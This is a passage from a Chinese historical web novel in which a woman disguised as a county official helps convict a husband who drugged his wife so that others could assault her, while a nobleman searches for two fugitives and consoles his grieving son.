怎么就这么巧?万一潘竞怀疑她的身份,告诉谢漼该怎么办? 不过,她与潘竞应该只见过那一次吧? 而且那日,她还带了帷帽的。 寻真焦虑了一会儿,渐渐稳住。 不管怎样,之后在潘竞面前,一定要装作不认识。 退一万步讲,潘竞既然是谢漼的好友,即便发现了她的真实身份,想必也不会当场拆穿,顶多是告诉谢漼罢了。 想到这里,寻真长舒了一口气,紧绷的神经也慢慢放松下来。 深夜,万籁俱寂。 永望走进谢漼的书房,低声禀报:“爷,已有眉目了。” 谢漼正伏案书写,闻言,放下手中笔,抬眸望去。 永望:“小的方才仔细审过了,那二人置办的假过所,上头写的目的地是洛州,小的已派人去洛州查了。” “沿途州县,都要查,此二人诡诈多端,极有可能半途混……”谢漼脸色陡然一沉,放在案几上的手握紧,攥得指节泛白,须臾,沉声道,“凤阳府也派人去查。” 永望:“是,小的这就去安排。” 永望退下,谢漼起身走到窗边,望着天边那轮孤月,久久伫立。 我定会将那二人抓住,挫骨扬灰。 至于其他人,也都不会放过。 谢璋趿拉着鞋子,从自己的房间跑了出来,进了书房:“爹……” 谢漼:“夜间风大,怎不穿好衣服就跑出来了。”说着,从衣架上取下鹤氅,给谢璋裹上。 谢璋都九岁了,还是黏父亲,他倚在谢漼腿边,一双眼睛湿漉漉的,小脸上还挂着两道未干的泪痕,带着哭腔道:“爹,我方才梦到娘了……在梦里,娘都不愿见我,她定是怨我了,再也不会原谅我了……” 谢漼将他拢进怀里,轻轻拍着他的背,柔声道:“怎会?你娘是最纯善不过的人,怎会与你一个小孩子计较?恒哥儿下回若是再梦到娘,可要主动些,抱住你娘,知道吗?” 谢璋抽抽搭搭地说:“我抱了,可娘总是躲开我。” 谢璋的脸埋进谢漼的衣服里,小声抽泣起来。 谢漼拍着他的背,哄了一会,还不见停,谢漼叹了口气,将谢璋的脸抬起头,用帕子擦去他脸上的眼泪。 谢璋抽噎着,唤了声爹。 谢漼:“嗯?” 谢璋:“爹,在梦里,娘不让我抱,总往南边跑远了。” “娘为何要往南边跑……南边是娘的家乡吗?” 谢漼:“你娘的家便是这里,不在南方。” 谢璋哦了一声,又说:“在梦里,我总感觉娘要跟我说什么呢?会不会、会不会是娘的转世,娘的魂魄在南边呢?爹,我们去找娘吧。” 近来谢璋沉迷于看志怪小说,总是将轮回转世之类的话挂在嘴边,对谢漼说,娘没死,只是转世到别人身上了。 谢漼心想,果真是母子,连爱看的书都一样。 只是,不能再任由他这样胡思乱想下去了。 恒哥儿已九岁了,也该懂事了。 谢漼摸了摸谢璋的脑袋:“恒哥儿,人死不能复生,便真有轮回转世,那人也不再是你娘了。” “你娘已走了,恒哥儿,我知你心中难受,但这是事实。生死乃天地常理。” “人固有一死,终有归处,纵是为父,也不能伴你一生。” 谢璋急得眼眶泛红,大声说道:“你说的不对!” 谢璋推开了谢漼,身上的鹤氅滑落至地。他两只手抹着眼泪,跑出去了。 谢漼叹了口气,从地上捡起鹤氅,放到一旁,追了出去。 见谢璋趴在床上小声抽泣,谢漼心道,恒哥儿自幼便没了母亲教养,已很可怜了,他这个做父亲的,自然要承担起更多责任。若对他严厉,恐适得其反,于他成长不利。 谢漼思索片刻,走进房间,坐在床边,拍背哄道:“恒哥儿,爹方才是骗你的,你娘若真的托梦给你,转世到南边去了,那我们便一起去找你娘,好不好?” 谢璋停下哭泣,坐起来,眨着湿湿的眼睫毛,哽咽着问:“……真的?” 谢漼:“真的。” 谢璋:“爹没骗我吧?” 谢漼:“爹骗你作甚?” 谢璋相信了,不再哭,小手握着脖子间的葫芦玉佩:“那爹再跟我讲讲娘的事吧?” 谢漼柔声细语讲着,在轻哄声中,小男孩渐渐进入了梦乡。 第115章 第115章“字迹” 县太爷在昆山县已连任六年,将这一方治理得井井有条。离任那天,昆山县的百姓涌上街头为他送行。一把万民伞,上面密密麻麻签满了百姓的名字,不识字的,便摁手印。除此之外,还有送腊肉、鸡蛋、水果的,一面绣着“公正廉明”四字的旗帐。 县太爷抱着旗帐,眼眶泛红,向道路两旁百姓挥手。 潘竞坐在后面的马车上,目睹这一幕,问身后正为他捏肩的小厮:“阿忠,你说待到我任满,可会有如此盛景啊?” 阿忠道:“大人您清正廉洁、一心为民,将来必定深受百姓爱戴。到那时,百姓们恐怕哭着都舍不得您走呢。” 潘竞点点头,对自己的未来满怀信心。 县太爷的马车抵达城门口,潘竞利落跃下马车。 两人在城门前握手。 县太爷道:“子尚,今后就交给你了。” 潘竞承诺:“您放心,我定不负所托。” 新旧县令一番交谈后,寻真等下属也依次上前,与县太爷道别。 最后,众人目送县太爷的马车渐行渐远,直至驶出城门,然后返回县衙。 一行人还未到县衙,远远地,便听到一阵沉重的敲鼓声传来。 有人在敲堂鼓! 不得不说,潘竞“运气”好,县太爷在任时,这鼓半年都难得响一回,如今刚走,就有人击鼓鸣冤。 潘竞神色瞬间严肃起来,吩咐马夫:“快些!” 靠近后,发现敲鼓之人是一位大着肚子的妇人。 马车停下,差吏上前,高声喝问:“何人在此击鼓?” 那妇人转过身,“扑通”一声直挺挺跪地,声泪俱下:“大人!民妇有冤,要状告我家那黑 心丈夫。” “这三年来,他多次用药迷晕我,让他的那些酒肉朋友侮辱我!事后,还诓骗民妇,强灌我喝下断子之药!” 妇人砰砰砰连磕三个响头,额头顿时红肿出血。她仰起脸,声嘶力竭:“求大人为民妇做主!” 衙役随即将妇人带到偏厅,寻真几人也紧跟其后。 妇人一进偏厅,又要下跪。 潘竞吩咐人端来热茶,还让人在椅子后面垫上软枕,温声道:“起来吧。本县定会为你主持公道……坐下慢慢说。” 妇人因怀有身孕,即将临盆,起身艰难,双腿颤抖不已。县衙中皆是男子,不便帮扶,潘竞本想让人去后院唤个婆子来帮忙,话还未出口,寻真已上前,搀起妇人。 “多谢大人。” 妇人低头致谢。 寻真看着她含泪的眼眸,又觉得有些眼熟了。 妇人坐下,一边抹着眼泪,一边抽抽噎噎地详述事情经过,数次因悲痛哽咽,难以继续。寻真在一旁记录,听到那些令人发指的行为,气得双手不住颤抖,几乎无法下笔。 这妇人姓苏,她的丈夫名叫赵福,在城中经营一家布庄。 两人成婚五年,起初夫妻恩爱,日子不算大富大贵,却也安稳平和。可自从苏氏怀孕后,赵福便像变了个人,整日对她非打即骂,喝醉后,甚至还会打她的肚子。苏氏只能紧紧护住肚子,忍痛扛着。 直到有一天,赵福酒后失言,苏氏这才知道,自己腹中的孩子竟不是赵福的。 原来第二年开始,赵福为了讨好生意场上的伙伴,竟丧心病狂地每晚将她迷晕,供人凌辱。事后,还把避子汤伪装成补药,骗她喝下。 事情败露后,赵福不仅毫无悔意,反而将苏氏绑起来,道她红杏出墙,要将她沉塘。 苏氏卷起衣袖,手臂上布满了青青紫紫、新旧交错的淤青和伤痕,还有绑痕。 潘竞将苏氏暂时安置在县衙内的空房,还派了一个婆子照顾,立即展开调查。 一众官差进入赵福的宅子后,潘竞冷着脸,下令封锁现场。 赵福见差役们蜂拥而入,吓得双腿发软,跪地。 潘竞厉声质问道:“赵福,你可知罪?!” 差役也在一旁喝道:“苏氏已将你的罪行一一揭露,如今大人在此,还不速速认罪!” 赵福:“冤枉啊,大人!” 寻真跟着差役们勘查现场,果然在柴房发现了绳索。据苏氏所说,她被赵福囚禁于此,是她的贴身侍婢燕儿相助,帮她逃脱。 寻真:“可找到燕儿了?” 差役很快便将燕儿带来。燕儿也被囚禁多日,还惨遭一顿毒打,脸上青一块紫一块,身子止不住地抖。 燕儿一见寻真,便跪下了。 寻真轻声道:“莫怕,起来吧,把你知道的都如实告诉我。” 燕儿一一道来,与苏氏的说法完全一致。燕儿还透露,她曾多次目睹赵福给苏氏下药,以及看到一些陌生人进出卧房,还隐隐听到欢爱声。 如此一来,人证便有了。 依照燕儿的指认,寻真派人去抓赵福招待过的客人。而那些人深知这是重罪,全都矢口否认。 寻真又让差役去城中各个药铺打听,询问赵福是否购买过含有迷药成分的药物。 寻真坐马车回县衙时,脑子里梳理着这个案件目前所获取的线索。 有人证还不够,古代办案的手段实在太有限,若在现代,查监控录像,再做个羊水穿刺,就能知道苏氏腹中孩子的生父了。 差役们办事效率高,下午回来禀报,他们已查遍城中所有药铺,均未发现赵福买迷药的记录。 那么,赵福极有可能是通过私下非法途径获取。 寻真着手写案情卷宗,记录案件的起因、经过、调查过程中收集到的证据、尚未查明的疑点,以及自己对这个案件的初步分析与判断。 傍晚,寻真到县令书房,轻轻叩门。 潘竞正与师爷、捕头商议,听到敲门声,道:“进。” 寻真走进书房,将卷宗呈上,并汇报了目前的调查进展。 随后,几人一同讨论,大家一致认为,只要找到赵福买迷药的途径,便能定罪。 潘竞翻阅卷宗,道:“去查近年来,与赵福往来频繁之人。” 捕头领命退下。 谈完后,寻真也离开了。 潘竞看着寻真离去的背影,目光凝在字迹上。 这字端凝秀雅,笔锋间透着洒脱之气。 潘竞看着看着,蹙起了眉。 怎连这字都有点像缮之。 若寻真知道潘竞会因这字迹而起疑,定会感到十分意外。 自从离开谢府后,寻真便有意改变自己的字体,回想前世见过的名家字帖,转变书写风格。 然而她却不知,毕竟照着谢漼的字练了整整五年。 有些起笔收笔的细微习惯,都在她肌肉记忆里了。 潘竞转念一想,虽巧合多了些。 但也并非没有可能。谢漼少时,摹的是晋公体,而晋公曾在多地留下真迹,许这甄善美也曾见过,并学习。 如此想来,像的应是晋公的字。 寻真走出县衙,见一位老妇人被差役领着走进县衙。她问了问,得知此人是苏氏的母亲。 到家后,寻真还在琢磨案件。 甄凌:“今日怎回来迟了,可是县衙中出了什么事?” 寻真便将苏氏击鼓鸣冤的案件跟她说了,甄凌气得红了眼睛:“竟有如此丧心病狂之人!” 又问:“如今只差物证,是不是很快就能定罪了?” 寻真:“若一切顺利,他应会被判绞刑。” 寻真被那赵福影响了食欲,一连几日都吃不下饭,只想着尽快了结此案,让赵福得到应有的惩罚。 几日后,案件终于有了重大突破。 差役们查遍了赵福所有的人情往来,终于发现了关键线索。赵福与一药商交往密切。 差役带着丫鬟燕儿去认,燕儿一眼便认出,道曾在赵福宅中见过此人。 药商起初还想抵赖,被吓唬了几句,很快招了,承认自己确实将曼陀罗卖给过赵福。 与此同时,差役们在赵福家附近蹲守,夜里,发现赵福鬼鬼祟祟地在树下挖土。 当场将赵福抓获,那树下地里埋着不少曼陀罗。 人赃俱获后,县尉武岳冲进寻真的办公室:“蹲了五夜!可算让我抓着了!” 寻真拿出一个木质长匣,里面是甄凌做的撑腰糕和龙鳞饼,给武岳吃。 武岳知道寻真每日都会从家中带些吃食来,有时带的多了,还会分给大家一起吃。 大伙儿便都知道寻真家里有个厨艺精湛的妹子,武岳嘴馋时,便常来找寻真唠,顺便蹭点好吃的。 昆山县盛产稻米,每到二月,便有吃“撑腰糕”的习俗。“撑腰糕”是用米粉制作糕团,再油煎,寓意着吃了之后腰板硬朗,劳作起来更有力气。 至于龙鳞饼,其实就是鸡蛋葱饼。 甄凌平日里闲居在家,便常与邻里交流厨艺,学了许多当地的美食做法,前一晚做好,让寻真第二日带到县衙 当点心吃。 武岳一样尝了一个,叹道:“你家妹子手艺是越来越好了!” 人证物证俱在,潘竞令下,明日升堂。 开堂审理那天,县衙外里三层外三层,围满了百姓。 武岳心叹,真是好事不出门,坏事传千里,就跟新县令那风流韵事似的,都从京都传到苏州来了。 第116章 第116章“人如其名” 寻真与潘竞一同走进公堂,潘竞着一袭浅绿圆领袍衫,头戴进贤冠,腰佩银鱼袋,官服一上身,整个人都庄重肃穆了许多。 寻真则穿着深青色官服。 平日私下办公,寻真在自己的县丞署中,就会随意很多,就穿个靸鞋,也就是拖鞋。一旦要上公堂,就得戴上进贤冠,换上乌皮靴。 潘竞坐在公堂正上方的公案后,寻真和其他属官坐在公堂一侧。 因苏氏身子重了,今日起不了身,便没上堂。由差吏陈述案件的来龙去脉。话还未说完,一旁的赵福便急不可耐地嚷嚷起来:“大人,草民冤枉啊!分明是那淫/妇血口喷人,她自己耐不住寂寞,与他人勾结,怀了野种!” 潘竞一拍惊堂木,沉声道:“本县未准你开口!” 赵福吓得一哆嗦,闭上了嘴。 紧接着,潘竞传证人燕儿和那药商上堂。 待二人交代后,潘竞厉声道:“赵福,你可认罪?” 赵福:“大人,草民要与那淫/妇当面对质!” 潘竞再次重重一拍:“如今人证物证俱在,你还有何话狡辩?!” 苏氏却未经传唤,蹒跚着走过来,满脸泪痕,跪地,竟称状告有误,是她误会了赵福。 赵福听闻,脸色难掩喜色。 堂外群众顿时议论纷纷,一片哗然。 苏氏还未说完,潘竞喝止:“苏氏!你可知擅敲堂鼓,呈假状,当受何刑?” “笞刑五十!” 潘竞霍然起身,目光如炬,直逼苏氏:“苏氏!你可想清楚了再说!莫要犯下大错!” 苏氏委身在地,呜呜咽咽地哭,一句话也说不出来。 众吏心中暗叹,若苏氏不出来反悔,这案子铁证如山,本可就此了结。 潘竞又追问,苏氏只是哭,并不作答,最后竟直接晕了过去。 无奈之下,只得中止堂审,将赵福暂时扣押。 只能等苏氏醒来后再告诉她其中厉害,一群人在屋子里唉声叹气。武岳忍不住道:“这妇人真是糊涂!” 潘竞:“近日有谁找过苏氏?” 寻真:“苏氏她母亲来过。” 潘竞招来差役,问:“苏氏母来了几回?” 差役答:“几乎日日都会来。” 潘竞:“带苏氏母!” 苏氏母只是个普通农家妇,被官差一喝,便吓得竹筒倒豆子般,将事情全盘托出。 原来,赵福被告后,私下找到苏氏母,承诺只要苏氏肯撤诉,他愿意抚养孩子。苏氏母见识短浅,哪里知道敲鼓告假状要被处以笞刑,而且妻子状告丈夫本就属于“干名犯义”,若告假状,不仅要被杖打,还要坐牢。 苏氏母担心女儿离了赵福后,会被邻里指指点点,这辈子就毁了,便同意了赵福的请求。 差点酿成大祸! 将告假状的后果告诉了苏氏母,苏氏母吓得六神无主,跪地哭求:“大人,都怪民妇见识短浅,小女全是听了民妇教唆,才犯下这错。求大人开恩,饶过小女这一回吧!” 这时,一婆子神色慌张,急匆匆跑来,喊道:“苏氏要生了!” 潘竞:“快请稳婆来!” 一时间,县衙里乱作一团。两个稳婆很快赶到,被差役引进偏房。 苏氏痛苦的哀嚎不时从偏房传出,所有人都无心做事,在二堂等着。 武岳感慨道:“听着这声音,怪让人心里发怵的。都说妇人生孩子是半只脚踏进了鬼门关,果真不假。” 寻真听着那惨叫,不自觉地攥紧了拳头。 苏氏一直到放衙都还没有生下来,差役和官吏们零零散散走了几个。寻真便让顺路的人捎句话,告诉甄凌不用等她了。 虽然自己帮不上什么忙,但回去也会一直惦记着,倒不如在这里等着苏氏生完再走。 潘竞、武岳也没走。 半个时辰后,甄凌来了。因为甄凌偶尔会来县衙找寻真,大家都眼熟了,没通报便直接放她进来了。 县丞署。 甄凌放下竹篮。竹篮上面盖着一块布,用以保温,掀开布,下面有三个竹匣,里面装着饭菜。 寻真吃完饭,上下眼皮直打架。甄凌知她这段时日一直忙这个案子,都没睡好觉,便道:“哥哥睡会儿吧,我在这儿替你看着,要是一会儿有人来找你,便叫你。” 寻真实在是困得不行,点点头,上了塌。盖上毯子,一闭上眼睛便睡着了。 潘竞听着偏房里的哀嚎,坐不住,便想着去找寻真聊聊政事。他刚走到门口,余光瞥见寻真躺在靠墙的榻上,闭着眼睛,睡着了,案前有一姑娘,潘竞便没进去。 甄凌起身。那日送县太爷离任,她也去瞧了热闹,远远地见过潘竞一眼,当时还感叹,这新来的县令长得倒是挺俊。 “大人。”甄凌行礼。 潘竞颔首,方才甄凌进来时,武岳告诉他,这是甄善美的妹妹。 潘竞见甄凌要过去拍醒寻真,便道:“不用叫了,等他醒了,让他来找我吧。” 甄凌:“是。” 寻真清醒时,夜已深,县衙里点上了烛。寻真伸了个懒腰:“方才好像隐约听到有人来找我?” 甄凌:“县令来过,让你醒了去找他。” 寻真朝外面走去,让甄凌在县丞署等她。 苏氏还在生。寻真走到二堂,潘竞、武岳几人正在说话。寻真在一旁坐下,听了几句,他们没聊政事,在闲话家常,有一搭没一搭地聊着。寻真听着,话题突然转到了她身上。 潘竞:“听闻竞舟还未曾婚配?” 寻真一愣:“……嗯。” 潘竞:“竞舟如此俊才,怎还未成家?你若不介意,日后我若见着合适的姑娘,便给你牵牵线?” 寻真心里吐槽,上个县太爷关心自己的婚配,还能理解,老人家总是爱操心小辈的终身大事。可这新县令,跟自己同岁,也还未成家,怎么也关心起这个来了? 当然上司关心下属的终身大事,也可能只是没话找话,随便说说。 寻真一想到这事儿就头疼。为避免没完没了的介绍,索性编了个故事,每次有人要给她介绍对象,就用这套话术应付。 “谢大人挂怀,大人有所不知,下官乃泗州人士,家乡遭了那百年难遇的洪灾,下官青梅竹马的未婚妻也因此遭难。我心中已有她,实在不想耽误其他姑娘,故不愿成婚。” 四下一静,潘竞注视着她,脸上露出动容之色,显然已被寻真编的故事打动了。 “没想到,竞舟竟是如此深情之人。” 破晓时分,偏房传来一阵响亮的啼哭声,稳婆惊喜的声音传了出来:“生了!生了!” 随后,一稳婆跑出来,喜笑颜开地禀报:“大人,母女平安!” 潘竞:“赏。” 众人一起迎来了一个新生命的诞生。 疲惫的脸上都浮现喜色。 产房清理干净后,苏氏也恢复了意识,寻真几人走进房间。 苏氏眼角挂着泪,想要起身行礼。 潘竞到她面前:“不必起来,躺着吧。” “不论旁人跟你说了什么,苏氏,你只需记住,赵福这等败类,若留在世上,定会有无辜之人受罪,你一时犯浑,本县断不会坐视不管!如今证据确凿,定会将他绳之以法!” 寻真见她无声地淌着泪,安慰道:“大人也是为你着想,若你承认告假状,便要被杖刑五十,还会下狱,你刚生下孩子,难道要让她一出生就没了娘?” “还有,你要记住,你是受害者,你什么错都没有。” 苏氏哽咽着:“……是。” 脑海中不禁回想起母亲对她说的话。 “那赵福已跟我说了,只要你肯罢诉,那孩子不管是不是他的,他都愿意当亲生的养。要是你这事儿传出去,哪还有人敢要你?” “以后可怎么在这世道上活下去,怕是要被唾沫星子淹死!” “就算不为你自己想,也得为你肚子里的孩子想想啊!” 被母亲这么劝了劝,便动摇了,她见识浅薄,哪里知道告假状的后果。 潘竞:“且放宽心,此次公堂之上你突然变卦,念你事出有因,本县暂且不究。切不可再犯,若再如此,我便要依律打你五十大板。” 苏氏:“是,大人,民妇知错……下回再不敢了。” 潘竞点点头:“你好好休息,等你身子好些了,再升堂。莫多想,本县定给你个公道。” 苏氏含泪点头。 潘竞寻真几人出去后,看了看孩子,婴儿闭着眼,裹在襁褓里,皮肤红红的。 潘竞瞧着:“这小孩儿倒是可爱。” 婆子笑道:“大人可要抱抱她?” 潘竞:“不了,这小家伙这么小,我若力气用大了,弄痛她可就不好了。” 几日后,再次升堂。 这回,外面来的百姓更多,衙门外人声鼎沸、叽叽喳喳的。 潘竞传苏氏及苏氏母上堂,让二人当众揭露赵福。 赵福见大势已去,再也无法狡辩,便都招了。原来赵福竟不能人道,婚后,从未与苏氏行房。因身体的残缺,赵福心理扭曲,竟生出看妻子与他人欢好的念头,那药商便是他选中的第一个对象。 此后,他深陷其中,无法自拔,这种荒唐行为持续整整三年,直至苏氏有了身孕。 至于苏氏腹中孩子的生父是谁,赵福也不知道。他虽内心变态,热衷于看妻子与其他男子欢好,却无法容忍妻子怀上别人的孩子,才开始殴打苏氏。 案情至此,真相大白。 大周朝重视礼教纲常,这种严重违反人伦的行为,被视为大恶。 潘竞给出的判决是绞刑,但因涉及死刑,需将案件上报苏州府,再逐级报送,最终由皇帝批准才能执行。 此案件传到京都后,亦掀起轩然大波,街头巷尾都在讨论。 纷纷惊叹,世间竟有如此怪异癖好之人,将妻子推向他人怀抱,还在一旁观看,实在恶劣至极! 圣上得知,大怒,斥道竟有如此违背伦理纲常之徒。 赵福犯“十恶”,罪无可恕,判秋后问斩。 三个月后,皇帝的判决文书送到昆山县。 大伙儿一阵欢呼。 潘竞立刻派人将判决结果张贴在集市显眼处,昭示众人。 赵福被判斩刑,其他同犯则被判处流放。 潘竞心情畅快,高声道:“走,今儿个我请大家吃酒去!” 众人又是欢呼。 三个月相处下来,潘竞毫无世家子弟的架子,性子豪爽,出手大方,隔三岔五便请大家下馆子,一来二去,便把大伙儿都“收买”了,县衙里的氛围也愈发融洽。 苏氏得知判决消息,拎着一筐鸡蛋到县衙,千恩万谢,硬是给大伙儿连磕了十几个头,潘竞问道:“晓晓呢?怎没带过来?” 苏氏之女在县衙出生,潘竞为其取字“晓”。能得到县令赐字,苏氏受宠若惊,自是求之不得。 苏氏解释道:“天气热了,晓晓中了暑气,所以没带她出来。下次定带她来拜见大人。” 苏氏道谢离开后,寻真追了上去。 县衙门口,寻真问她的近况。苏氏作为这起轰动朝野案件的当事人,即便真相大白,还是饱受风言风语的困扰,脸上难掩哀愁之色。寻真宽慰了几句,又问她是否有难处。 苏氏欲言又止,嗫嚅着,看来是真的有困难。 寻真:“你若有难处,尽管开口,只要我能帮得上,必不会推辞。” 苏氏:“大人,其实我不打算再住在娘家了,最近正在城中寻住处,还想找个活儿做,可如今大家都知道了我的事……” 寻真:“正好,我家中缺个管事的,你若一时找不到合适的活计,便来我家吧。我家后院还有间厢房,你可以带着晓晓一起来。” 潘竞看着寻真追出去的背影,笑着调侃:“竞舟这又是去当散财童子了?” 三个月共事下来,不仅大伙儿对潘竞的为人有了深入了解,潘竞也熟知了下属们的性情。 这甄善美倒是人如其名,极为心善,但凡遇到有难处的人,尤其女子,他总私下帮衬,不是送钱救急,就是帮忙解决其他难事。都是些县衙职责之外的事。 武岳笑着附和:“甄善美就是这么个菩萨心肠,见不得别人受苦,谁要是有个不顺心,他都要去帮上一把。” 苏氏跪下,寻真忙将她扶起。 潘竞看着这一幕:“这又是许了人家什么好处,把人感动成这样。” 寻真回来后,潘竞扶着胯,站在正堂门口,笑道:“甄善美,你这是又允了人什么?” 寻真:“不过是我家中缺人手,叫她过去帮忙罢了。” 潘竞:“若个个你都帮,你那小宅子还塞的下人?” 寻真:“苏氏情况特殊,若我不帮她,她恐怕承受不了外界的流言蜚语,极有可能走上绝路。” 散衙后,潘竞领着大伙儿去酒楼聚餐。 二楼大堂,十几人围坐一张长桌。潘竞出手豪爽,将酒楼里所有的招牌菜都点了个遍,还叫了好几坛陈年老酒。寻真坐在角落,默默吃着菜,喝一口酒,偶尔与旁人聊上几句。 酒至半酣,旁边一桌的客人似乎也喝多了,说话的声音越来越大。 寻真离得近,听得清楚。 那人说道:“……那赵家布庄,背地里居然干这种勾当,我之前也去过几次……早知道有这等好事,我也该去光顾光顾,尝尝那……滋味……” 言语污秽不堪,实在恶心。 声音大起来,寻真这一桌都听见了,渐渐安静下来。 那人说完,摇摇晃晃地起身,朝楼下走去。 寻真打了声招呼,称去解手,也起身离席。 武岳压低声道:“若不是今日不想坏了兴致,我非得揍那人一顿不可。” 另一人也道:“若那厮再喷粪,绝不能轻饶!定要把他带回衙里,好好教训一番!” 潘竞见寻真的背影消失在楼道,想了想,也跟了下去。 茅厕位于酒楼后院的角落,寻真盯着那摇摇晃晃的背影,余光瞥见地上放着几个麻袋,里面似乎装着酒楼处理过还未丢弃的食材,当真是瞌睡送枕头来了。 那人一边往茅厕走,一边撩起长袍,松着裤腰带。 突然,眼前一黑。 他大骂:“哪个天杀的狗贼——!” 那人转过身来,抬头去掀麻袋,下一秒,便被人一拳揍倒在地。他被打得眼冒金星,还没回过神来,又是一拳。 “你大爷!” 第117章 第117章“发现” 寻真连着揍了两拳。 与其跟人唇枪舌剑起争执,倒不如痛痛快快揍上一拳来得解气。 打完后,心里到底还是有点发虚,毕竟自己现在也是个官了,这种行为总归不妥。寻真打了两拳便住了手。 那人还在地上扭动,嘴里骂骂咧咧,伸手就要去扯头上套着的麻袋,想看看究竟是谁揍了他。 寻真忙转身溜了。 潘竞斜倚在偏门处,双腿交叠,饶有兴致地打量着寻真。 寻真暗道倒霉,自己难得干一回这种事,竟被顶头上司抓了个现行。 她干笑两声:“这么巧啊,县尊,您也来解手?” 潘竞嘴角微微上扬,道:“深藏不露啊,我原道竞舟平日里瞧着斯斯文文,哪晓得这般侠义,当真让我刮目相看!” 听语气,潘竞并无责怪的意思,寻真又笑了笑,听到身后传来脚步声,道:“县尊,咱们上去吧。” 潘竞转身,与寻真一同往楼上走去。 不经意间侧目,昏黄的光线下,寻真的脖颈线条柔和,光滑细腻,竟看不到一丝起伏。 潘竞心道,倒也不是所有男子的喉结都明显,有些人天生就不太突出,自己也见过几个这样的男子。潘竞便没往深处想。 寻真和潘竞落座,不一会儿,那个被寻真揍了的男人,捂着腰,一瘸一拐地也上了楼。 他的同伴见状,惊讶大呼:“你这是怎么了?!” 那人咬牙切齿骂道:“也不知是哪个挨千刀的,竟躲在暗处下黑手。要是被我抓到,非让他好看!” 六月二十六。 这日,谢漼和谢璋父子俩一如往常。谢漼为儿子煮了一碗长寿面,等谢璋吃完后,便拎着祭品和器具,一同去山上祭拜。谢漼还带上了去年挖出来的葡萄酒。 回来后,谢璋小脸垮着,委屈巴巴的小模样,想说些什么却又忍着。 谢漼瞧在眼里,并未开口询问。 谢漼今日告了假,午后,在书房练字。 永望走进书房,开始向谢漼汇报调查进展。 永望道,照黑市给的消息去查,那二人靠着假过所,一路到了汴州,此后便没了踪迹。也派了人去洛州查,毫无所获。 永望推断,她们应是中途转道,且拿着画像在各个关卡问官差,竟无一人有印象。那二人极有可能用了易容术。依她们所盗财物估算,行囊必定沉重,这么一问,倒是有几个记性好的人记起一二。 至于凤阳府,也派人去查了,只是凤阳府先前遭洪灾,人死的死,跑的跑,户籍全乱套了,重新整理登记后,查起来难度更大,所以还没结果。 谢漼神色平静,只轻“嗯”了一声,眸底似古潭,毫无波澜。 今日阳光炽热,暑气逼人。尽管室内放了许多冰块,却依旧驱散不了内心的燥热。谢漼始终静不下心,拿着书,一字也看不进。在案前痴坐了一个时辰,谢漼起身,走到书架深处,从一个狭长的匣子中,拿出一卷画。 这幅画以绫绢裱制,一色朱红。 谢漼缓缓展开画卷,静静地看着。 看着看着,画中人似是活了,在他眼前晃起了小腿。 谢漼喃喃低语,唤着一个名字。 手指触上去,轻柔地抚着。 心口涌起一阵密密麻麻的疼,谢漼凝视着,心中生出无尽的悔。 她曾说,他若想见她,随时都可以,因为她每日都待在那个院子里。 他也曾那么以为,她永远在哪里,永远不会离开。 他都未曾为她作过一张完整的画。 如今想她,只能看别人眼中的她。 门外传来一阵脚步声。 谢璋抿着嘴,倚在书房门口。 谢漼收拢画,放在一旁,招了招手:“恒哥儿,来。” 谢璋却没有动,委屈巴巴地瞅着谢漼:“爹又骗我了……还说会带我去找娘的。” 谢漼:“为父岂会骗你?只是眼下实在走不开,等明年春天,我便请命外任,到那时便带你去南边。” 谢璋看着不太满意,嘟囔着:“这么久……” 谢漼注视着儿子。 过了生辰,恒哥便十岁了。可瞧他模样,还是一副孩童的稚嫩样儿,身形也未见明显变化,想来还未到蹿个子的时期。 谢漼也见过好些跟谢璋年纪相仿的孩子,许是别家管束得紧,那些十岁的孩子,多已沉稳知事,颇有几分大人的模样。 谢璋却大不一样,那眼神清清亮亮,满是稚气。 谢漼一直都亲自教谢璋,单论学识,恒哥儿自是超群出众。无论谢漼如何考校,皆能对答如流。恒哥儿的学识造诣,已远超许多成人。 对于恒哥儿的学业,谢漼从未操心过。 但恒哥儿的心性……谢漼不禁自省,是不是该换个教导法子,平日对恒哥儿严一些?若再这样下去,恒哥儿这一身孩气,不加矫正,恐再过两三年,还是这样。 谢漼这般思索过后,便开始想从何处入手,把恒哥儿的性子给改改。 只此事殊为不易,谢漼亦初为人父,有些拿捏不准分寸。再者,每次看到恒哥儿委屈的小脸,便狠不下心,这也是一大阻碍。 潘竞去县丞署,扑了个空,找武岳问:“甄善美人呢?” 武岳拿着一根玉米棒吃:“他去田里头看水稻去了。” 潘竞手头的事忙完了,问了地方,找了过去。 到了田间,远远地便瞧见寻真站在田埂边上,与一农户交谈。不一会儿,寻真蹲下身子,捏起稻穗,细细查看,随后又将手指探入泥下,挖出一小团土来。 潘竞站在田边,扬声喊:“甄善美!” 寻真闻声抬起头,从田间快步走了出来,一边走一边拍掉手上的泥:“县尊,你怎来了?” 夏季的午后,似被烈火烹煎,潘竞看着寻真的脸,见她两颊的皮肤都被晒得脱了皮。 “天气这般热,你怎也不知带个帷帽?”说完,潘竞招了招手,吩咐不远处的小厮将帷帽拿来。 寻真接过,看着手中帷帽,一时有些发愣,道:“……多谢县尊。”戴上帷帽后,两人沿着田边走着。 潘竞:“竞舟,你我同岁,我这人,向来不喜那等繁文缛节。日后咱们便相处随意些,以字互称,你看如何?” 与潘竞相处久了,寻真也知他为人率性,从不摆上级官威,这么说,应不是客套,便点了点头。 潘竞:“我字子尚。” 寻真:“子尚。” 潘竞笑了笑,好奇问道:“你方才又是捏土,又是看稻穗的,这是在查什么呢?” 寻真道:“已七日未下雨了,我方才看了泥土,十分干燥。而像蝗虫这类病虫,在干燥的环境下孵化率更高……也就是说,天气越干,就越容易闹虫灾。” “没雨,便要加大灌溉,我想着……对翻车做些改进。” 寻真大致讲了讲自己的想法。 翻车是一种木质的链唧筒,通过人力踩踏或手摇驱动,将水从低处提升到高处,用于灌溉。 寻真打算在设计上进行优化,比如她重新设计了齿轮的齿数和齿形,能使齿轮在相同动力下转速更快。又将刮板的形状设计成更符合流体力学的弧形,以提高提水效率。 潘竞:“既然竞舟早有了想法,今日便让匠人着手去造,早些投入使用,也可减轻百姓们的劳作负担。” 寻真提议道:“不如子尚随我去家中,我将图纸拿给你瞧瞧?” 两人一同坐上马车,到了寻真的临河小院。 潘竞走进小院,见院中花开满径,果树抽芽,蜂蝶戏于丛中,一派生机勃勃。两人进正堂,甄凌见县令来了,连忙去泡了茶,又端上点心。 潘竞坐下,寻真从书房拿来自己研究好几日的优化版翻车图纸,递给潘竞。 